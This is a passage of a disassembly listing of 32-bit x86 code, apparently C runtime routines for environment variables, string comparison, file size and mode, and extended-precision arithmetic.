cmp edi, 4
jnz short loc_416B5C
loc_416B36: ; CODE XREF: sub_416A9B+8Fj
; sub_416A9B+94j
mov ebx, dword_481E70
and dword_481E70, 0
cmp edi, ecx
jnz short loc_416B8B
mov edx, dword_4222F4
mov dword_4222F4, 8Ch
mov [ebp+arg_0], edx
jmp short loc_416B5F
; ---------------------------------------------------------------------------
loc_416B5C: ; CODE XREF: sub_416A9B+99j
mov ebx, [ebp+arg_0]
loc_416B5F: ; CODE XREF: sub_416A9B+BFj
cmp edi, ecx
jnz short loc_416B8B
mov eax, dword_4222E8
mov ecx, dword_4222EC
add ecx, eax
cmp eax, ecx
jge short loc_416B92
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:422278h[edx*4]
loc_416B80: ; CODE XREF: sub_416A9B+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_416B80
jmp short loc_416B92
; ---------------------------------------------------------------------------
loc_416B8B: ; CODE XREF: sub_416A9B+AAj
; sub_416A9B+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_416BA0
loc_416B92: ; CODE XREF: sub_416A9B+D7j
; sub_416A9B+EEj
push dword_4222F4
push 8
call esi
pop ecx
pop ecx
jmp short loc_416BAE
; ---------------------------------------------------------------------------
loc_416BA0: ; CODE XREF: sub_416A9B+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_416BAE
cmp edi, 4
jnz short loc_416BC1
loc_416BAE: ; CODE XREF: sub_416A9B+103j
; sub_416A9B+10Cj
cmp edi, 8
mov dword_481E70, ebx
jnz short loc_416BC1
mov eax, [ebp+arg_0]
mov dword_4222F4, eax
loc_416BC1: ; CODE XREF: sub_416A9B+111j
; sub_416A9B+11Cj
xor eax, eax
pop ebx
loc_416BC4: ; CODE XREF: sub_416A9B+2Cj
; sub_416A9B+79j
pop edi
pop esi
pop ebp
retn
sub_416A9B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416BC8 proc near ; CODE XREF: sub_416A9B+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4222F0
cmp dword_422274, edx
push esi
mov eax, offset dword_422270
jz short loc_416BF6
lea esi, [ecx+ecx*2]
lea esi, ds:422270h[esi*4]
loc_416BEA: ; CODE XREF: sub_416BC8+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_416BF6
cmp [eax+4], edx
jnz short loc_416BEA
loc_416BF6: ; CODE XREF: sub_416BC8+16j
; sub_416BC8+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:422270h[ecx*4]
cmp eax, ecx
jnb short loc_416C0A
cmp [eax+4], edx
jz short locret_416C0C
loc_416C0A: ; CODE XREF: sub_416BC8+3Bj
xor eax, eax
locret_416C0C: ; CODE XREF: sub_416BC8+40j
retn
sub_416BC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C0D proc near ; CODE XREF: sub_4157AA+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_40CCA0
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4831E0
jnb loc_416D42
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4830E0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_416D42
push 1
push esi
push ebx
call sub_413BAD
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_416D4C
push 2
push esi
push ebx
call sub_413BAD
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_416D4C
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_416CEF
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_40CC40
push 8000h
push ebx
call sub_41706C
add esp, 14h
mov [ebp+arg_4], eax
loc_416CA3: ; CODE XREF: sub_416C0D+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_416CAE
mov eax, edi
loc_416CAE: ; CODE XREF: sub_416C0D+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4147CC
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_416CCC
sub edi, eax
test edi, edi
jle short loc_416CE2
jmp short loc_416CA3
; ---------------------------------------------------------------------------
loc_416CCC: ; CODE XREF: sub_416C0D+B5j
cmp dword_481DC0, 5
jnz short loc_416CDF
mov dword_481DBC, 0Dh
loc_416CDF: ; CODE XREF: sub_416C0D+C6j
or esi, 0FFFFFFFFh
loc_416CE2: ; CODE XREF: sub_416C0D+BBj
push [ebp+arg_4]
push ebx
call sub_41706C
pop ecx
pop ecx
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416CEF: ; CODE XREF: sub_416C0D+71j
jge short loc_416D2F
push 0
push [ebp+arg_4]
push ebx
call sub_413BAD
push ebx
call sub_415716
add esp, 10h
push eax
call dword_418010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_416D2F
mov dword_481DBC, 0Dh
call dword_418044 ; RtlGetLastWin32Error
mov dword_481DC0, eax
loc_416D2F: ; CODE XREF: sub_416C0D+E0j
; sub_416C0D:loc_416CEFj ...
push 0
push [ebp+arg_0]
push ebx
call sub_413BAD
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_416D4F
; ---------------------------------------------------------------------------
loc_416D42: ; CODE XREF: sub_416C0D+1Aj
; sub_416C0D+36j
mov dword_481DBC, 9
loc_416D4C: ; CODE XREF: sub_416C0D+4Ej
; sub_416C0D+63j
or eax, 0FFFFFFFFh
loc_416D4F: ; CODE XREF: sub_416C0D+133j
pop esi
pop ebx
leave
retn
sub_416C0D endp
; =============== S U B R O U T I N E =======================================
sub_416D53 proc near ; CODE XREF: sub_415A78+23p
arg_0 = dword ptr 4
cmp dword_483430, 0
push ebx
push esi
mov esi, dword_481DE4
push edi
jz short loc_416DCA
test esi, esi
jnz short loc_416D84
cmp dword_481DEC, esi
jz short loc_416DCA
call sub_417121
test eax, eax
jnz short loc_416DCA
mov esi, dword_481DE4
test esi, esi
jz short loc_416DCA
loc_416D84: ; CODE XREF: sub_416D53+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_416DCA
push ebx
call sub_40CBC0
pop ecx
mov edi, eax
loc_416D95: ; CODE XREF: sub_416D53+6Dj
mov eax, [esi]
test eax, eax
jz short loc_416DCA
push eax
call sub_40CBC0
cmp eax, edi
pop ecx
jbe short loc_416DBD
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_416DBD
push edi
push ebx
push eax
call sub_4170E2
add esp, 0Ch
test eax, eax
jz short loc_416DC2
loc_416DBD: ; CODE XREF: sub_416D53+51j
; sub_416D53+59j
add esi, 4
jmp short loc_416D95
; ---------------------------------------------------------------------------
loc_416DC2: ; CODE XREF: sub_416D53+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_416DCC
; ---------------------------------------------------------------------------
loc_416DCA: ; CODE XREF: sub_416D53+10j
; sub_416D53+1Cj ...
xor eax, eax
loc_416DCC: ; CODE XREF: sub_416D53+75j
pop edi
pop esi
pop ebx
retn
sub_416D53 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD0 proc near ; CODE XREF: sub_416808+165p
; sub_416FF0+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_416FD0
cmp cx, 7FFFh
jnb loc_416FD0
cmp dx, 0BFFDh
ja loc_416FD0
cmp dx, 3FBFh
ja short loc_416E39
xor eax, eax
jmp short loc_416E73
; ---------------------------------------------------------------------------
loc_416E39: ; CODE XREF: sub_416DD0+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_416E5B
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_416E5B
xor eax, eax
cmp [esi+4], eax
jnz short loc_416E5D
cmp [esi], eax
jnz short loc_416E5D
jmp loc_416FCA
; ---------------------------------------------------------------------------
loc_416E5B: ; CODE XREF: sub_416DD0+71j
; sub_416DD0+79j
xor eax, eax
loc_416E5D: ; CODE XREF: sub_416DD0+80j
; sub_416DD0+84j
cmp cx, ax
jnz short loc_416E80
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_416E80
cmp [ebx+4], eax
jnz short loc_416E80
cmp [ebx], eax
jnz short loc_416E80
loc_416E73: ; CODE XREF: sub_416DD0+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_416FEB
; ---------------------------------------------------------------------------
loc_416E80: ; CODE XREF: sub_416DD0+90j
; sub_416DD0+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_416E90: ; CODE XREF: sub_416DD0+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_416EE4
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_416EAC: ; CODE XREF: sub_416DD0+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_416196
add esp, 0Ch
test eax, eax
jz short loc_416ED7
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_416ED7: ; CODE XREF: sub_416DD0+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_416EAC
loc_416EE4: ; CODE XREF: sub_416DD0+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_416E90
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_416F27
loc_416F02: ; CODE XREF: sub_416DD0+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_416F20
lea eax, [ebp+var_24]
push eax
call sub_416215
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_416F02
loc_416F20: ; CODE XREF: sub_416DD0+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_416F60
loc_416F27: ; CODE XREF: sub_416DD0+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_416F60
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_416F40: ; CODE XREF: sub_416DD0+184j
test byte ptr [ebp+var_24], 1
jz short loc_416F49
inc [ebp+var_14]
loc_416F49: ; CODE XREF: sub_416DD0+174j
lea eax, [ebp+var_24]
push eax
call sub_416243
dec ebx
pop ecx
jnz short loc_416F40
cmp [ebp+var_14], 0
jz short loc_416F60
or byte ptr [ebp+var_24], 1
loc_416F60: ; CODE XREF: sub_416DD0+155j
; sub_416DD0+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_416F77
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_416FAC
loc_416F77: ; CODE XREF: sub_416DD0+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_416FA9
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_416FA4
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_416F9E
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_416FAC
; ---------------------------------------------------------------------------
loc_416F9E: ; CODE XREF: sub_416DD0+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_416FAC
; ---------------------------------------------------------------------------
loc_416FA4: ; CODE XREF: sub_416DD0+1B5j
inc [ebp+var_20+2]
jmp short loc_416FAC
; ---------------------------------------------------------------------------
loc_416FA9: ; CODE XREF: sub_416DD0+1ABj
inc [ebp+var_24+2]
loc_416FAC: ; CODE XREF: sub_416DD0+1A5j
; sub_416DD0+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_416FD0
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_416FCA: ; CODE XREF: sub_416DD0+86j
mov [esi+0Ah], ax
jmp short loc_416FEB
; ---------------------------------------------------------------------------
loc_416FD0: ; CODE XREF: sub_416DD0+42j
; sub_416DD0+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_416FEB: ; CODE XREF: sub_416DD0+ABj
; sub_416DD0+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_416DD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FF0 proc near ; CODE XREF: sub_416337+440p
; sub_416808+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_422768
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_417069
jge short loc_417018
mov eax, [ebp+arg_4]
mov ebx, offset dword_4228C8
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_417018: ; CODE XREF: sub_416FF0+16j
cmp [ebp+arg_8], ecx
jnz short loc_417023
mov eax, [ebp+arg_0]
mov [eax], cx
loc_417023: ; CODE XREF: sub_416FF0+2Bj
cmp [ebp+arg_4], ecx
jz short loc_417069
push esi
push edi
loc_41702A: ; CODE XREF: sub_416FF0+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_417062
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_417055
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_417055: ; CODE XREF: sub_416FF0+57j
push esi
push [ebp+arg_0]
call sub_416DD0
pop ecx
pop ecx
xor ecx, ecx
loc_417062: ; CODE XREF: sub_416FF0+49j
cmp [ebp+arg_4], ecx
jnz short loc_41702A
pop edi
pop esi
loc_417069: ; CODE XREF: sub_416FF0+14j
; sub_416FF0+36j
pop ebx
leave
retn
sub_416FF0 endp
; =============== S U B R O U T I N E =======================================
sub_41706C proc near ; CODE XREF: sub_416C0D+8Bp
; sub_416C0D+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4831E0
jnb short loc_4170D3
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4830E0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_4170D3
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_4170AC
and cl, 7Fh
jmp short loc_4170B9
; ---------------------------------------------------------------------------
loc_4170AC: ; CODE XREF: sub_41706C+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_4170C7
or cl, 80h
loc_4170B9: ; CODE XREF: sub_41706C+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4170C7: ; CODE XREF: sub_41706C+48j
mov dword_481DBC, 16h
jmp short loc_4170DD
; ---------------------------------------------------------------------------
loc_4170D3: ; CODE XREF: sub_41706C+Bj
; sub_41706C+27j
mov dword_481DBC, 9
loc_4170DD: ; CODE XREF: sub_41706C+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41706C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170E2 proc near ; CODE XREF: sub_416D53+5Ep
; sub_4175BE+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_4170EF
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4170EF: ; CODE XREF: sub_4170E2+7j
push dword_4831E4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_483404
call sub_41718F
add esp, 1Ch
test eax, eax
jnz short loc_41711C
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41711C: ; CODE XREF: sub_4170E2+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_4170E2 endp
; =============== S U B R O U T I N E =======================================
sub_417121 proc near ; CODE XREF: sub_416D53+1Ep
; sub_417437+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_481DEC
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_417182
mov ebx, dword_4180C8
loc_41713A: ; CODE XREF: sub_417121+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_41718A
push ebp
call sub_40CCCF
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41718A
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_41718A
push edi
push [esp+18h+var_4]
call sub_417437
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41713A
loc_417182: ; CODE XREF: sub_417121+11j
xor eax, eax
loc_417184: ; CODE XREF: sub_417121+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41718A: ; CODE XREF: sub_417121+29j
; sub_417121+38j ...
or eax, 0FFFFFFFFh
jmp short loc_417184
sub_417121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41718F proc near ; CODE XREF: sub_4170E2+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418C18
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4820A8, ebx
push 1
pop edi
jnz short loc_417202
push edi
mov eax, offset dword_418868
push eax
push edi
push eax
push ebx
push ebx
call dword_418008 ; CompareStringW
test eax, eax
jz short loc_4171DF
mov dword_4820A8, edi
jmp short loc_417202
; ---------------------------------------------------------------------------
loc_4171DF: ; CODE XREF: sub_41718F+46j
push edi
mov eax, offset dword_4242EC
push eax
push edi
push eax
push ebx
push ebx
call dword_41800C ; CompareStringA
test eax, eax
jz loc_4173F8
mov dword_4820A8, 2
loc_417202: ; CODE XREF: sub_41718F+31j
; sub_41718F+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_417219
push esi
push [ebp+arg_8]
call sub_41740C
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_417219: ; CODE XREF: sub_41718F+78j
cmp [ebp+arg_14], ebx
jle short loc_41722E
push [ebp+arg_14]
push [ebp+arg_10]
call sub_41740C
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_41722E: ; CODE XREF: sub_41718F+8Dj
mov eax, dword_4820A8
cmp eax, 2
jnz short loc_417253
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41800C ; CompareStringA
jmp loc_4173FA
; ---------------------------------------------------------------------------
loc_417253: ; CODE XREF: sub_41718F+A7j
cmp eax, edi
jnz loc_4173F8
cmp [ebp+arg_18], ebx
jnz short loc_417268
mov eax, dword_481E5C
mov [ebp+arg_18], eax
loc_417268: ; CODE XREF: sub_41718F+CFj
cmp esi, ebx
jz short loc_417275
cmp [ebp+arg_14], ebx
jnz loc_41730D
loc_417275: ; CODE XREF: sub_41718F+DBj
cmp esi, [ebp+arg_14]
jnz short loc_417282
loc_41727A: ; CODE XREF: sub_41718F+13Cj
; sub_41718F+16Dj
push 2
loc_41727C: ; CODE XREF: sub_41718F+146j
pop eax
jmp loc_4173FA
; ---------------------------------------------------------------------------
loc_417282: ; CODE XREF: sub_41718F+E9j
cmp [ebp+arg_14], edi
jle short loc_41728E
loc_417287: ; CODE XREF: sub_41718F+151j
; sub_41718F+159j ...
mov eax, edi
jmp loc_4173FA
; ---------------------------------------------------------------------------
loc_41728E: ; CODE XREF: sub_41718F+F6j
cmp esi, edi
jg short loc_4172D3
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_418160 ; GetCPInfo
test eax, eax
jz loc_4173F8
cmp esi, ebx
jle short loc_4172D7
cmp [ebp+var_3C], 2
jb short loc_4172D3
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_4172D3
loc_4172B9: ; CODE XREF: sub_41718F+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_4172D3
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_4172CD
cmp cl, dl
jbe short loc_41727A
loc_4172CD: ; CODE XREF: sub_41718F+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_4172B9
loc_4172D3: ; CODE XREF: sub_41718F+101j
; sub_41718F+120j ...
push 3
jmp short loc_41727C
; ---------------------------------------------------------------------------
loc_4172D7: ; CODE XREF: sub_41718F+11Aj
cmp [ebp+arg_14], ebx
jle short loc_41730D
cmp [ebp+var_3C], 2
jb short loc_417287
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_417287
loc_4172EA: ; CODE XREF: sub_41718F+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_417287
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_417302
cmp cl, dl
jbe loc_41727A
loc_417302: ; CODE XREF: sub_41718F+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_4172EA
jmp loc_417287
; ---------------------------------------------------------------------------
loc_41730D: ; CODE XREF: sub_41718F+E0j
; sub_41718F+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_4180CC ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_4173F8
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_40CCA0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41735C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_41735C: ; CODE XREF: sub_41718F+1B5j
cmp [ebp+var_24], ebx
jz loc_4173F8
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_4180CC
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_4173F8
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_4173F8
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40CCA0
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4173C7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_4173C7: ; CODE XREF: sub_41718F+224j
cmp edi, ebx
jz short loc_4173F8
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_4180CC ; MultiByteToWideChar
test eax, eax
jz short loc_4173F8
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_418008 ; CompareStringW
jmp short loc_4173FA
; ---------------------------------------------------------------------------
loc_4173F8: ; CODE XREF: sub_41718F+63j
; sub_41718F+C6j ...
xor eax, eax
loc_4173FA: ; CODE XREF: sub_41718F+BFj
; sub_41718F+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41718F endp
; =============== S U B R O U T I N E =======================================
sub_41740C proc near ; CODE XREF: sub_413455+81p
; sub_41718F+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_417429
loc_41741C: ; CODE XREF: sub_41740C+1Bj
cmp byte ptr [eax], 0
jz short loc_417429
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_41741C
loc_417429: ; CODE XREF: sub_41740C+Ej
; sub_41740C+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_417434
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_417434: ; CODE XREF: sub_41740C+21j
mov eax, edx
retn
sub_41740C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417437 proc near ; CODE XREF: sub_417121+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_41749B
push 3Dh
push [ebp+arg_0]
call sub_41767D
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_41749B
cmp [ebp+arg_0], esi
jz short loc_41749B
mov eax, dword_481DE4
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_481DE8
jnz short loc_417481
push eax
call sub_417616
pop ecx
mov dword_481DE4, eax
loc_417481: ; CODE XREF: sub_417437+3Cj
cmp eax, edi
jnz short loc_4174D9
cmp [ebp+arg_4], edi
jz short loc_4174A3
cmp dword_481DEC, edi
jz short loc_4174A3
call sub_417121
test eax, eax
jz short loc_4174D9
loc_41749B: ; CODE XREF: sub_417437+Dj
; sub_417437+22j ...
or eax, 0FFFFFFFFh
loc_41749E: ; CODE XREF: sub_417437+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4174A3: ; CODE XREF: sub_417437+51j
; sub_417437+59j
cmp ebx, edi
jnz loc_4175B7
push 4
call sub_40CCCF
cmp eax, edi
pop ecx
mov dword_481DE4, eax
jz short loc_41749B
mov [eax], edi
cmp dword_481DEC, edi
jnz short loc_4174D9
push 4
call sub_40CCCF
cmp eax, edi
pop ecx
mov dword_481DEC, eax
jz short loc_41749B
mov [eax], edi
loc_4174D9: ; CODE XREF: sub_417437+4Cj
; sub_417437+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_481DE4
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_4175BE
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_417539
cmp dword ptr [edi], 0
jz short loc_417539
test ebx, ebx
jz short loc_417531
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_40CD81
pop ecx
loc_41750B: ; CODE XREF: sub_417437+E2j
cmp dword ptr [edi], 0
jz short loc_41751B
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_41750B
; ---------------------------------------------------------------------------
loc_41751B: ; CODE XREF: sub_417437+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_40DB08
pop ecx
test eax, eax
pop ecx
jz short loc_41756B
jmp short loc_417566
; ---------------------------------------------------------------------------
loc_417531: ; CODE XREF: sub_417437+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_41756B
; ---------------------------------------------------------------------------
loc_417539: ; CODE XREF: sub_417437+BDj
; sub_417437+C2j
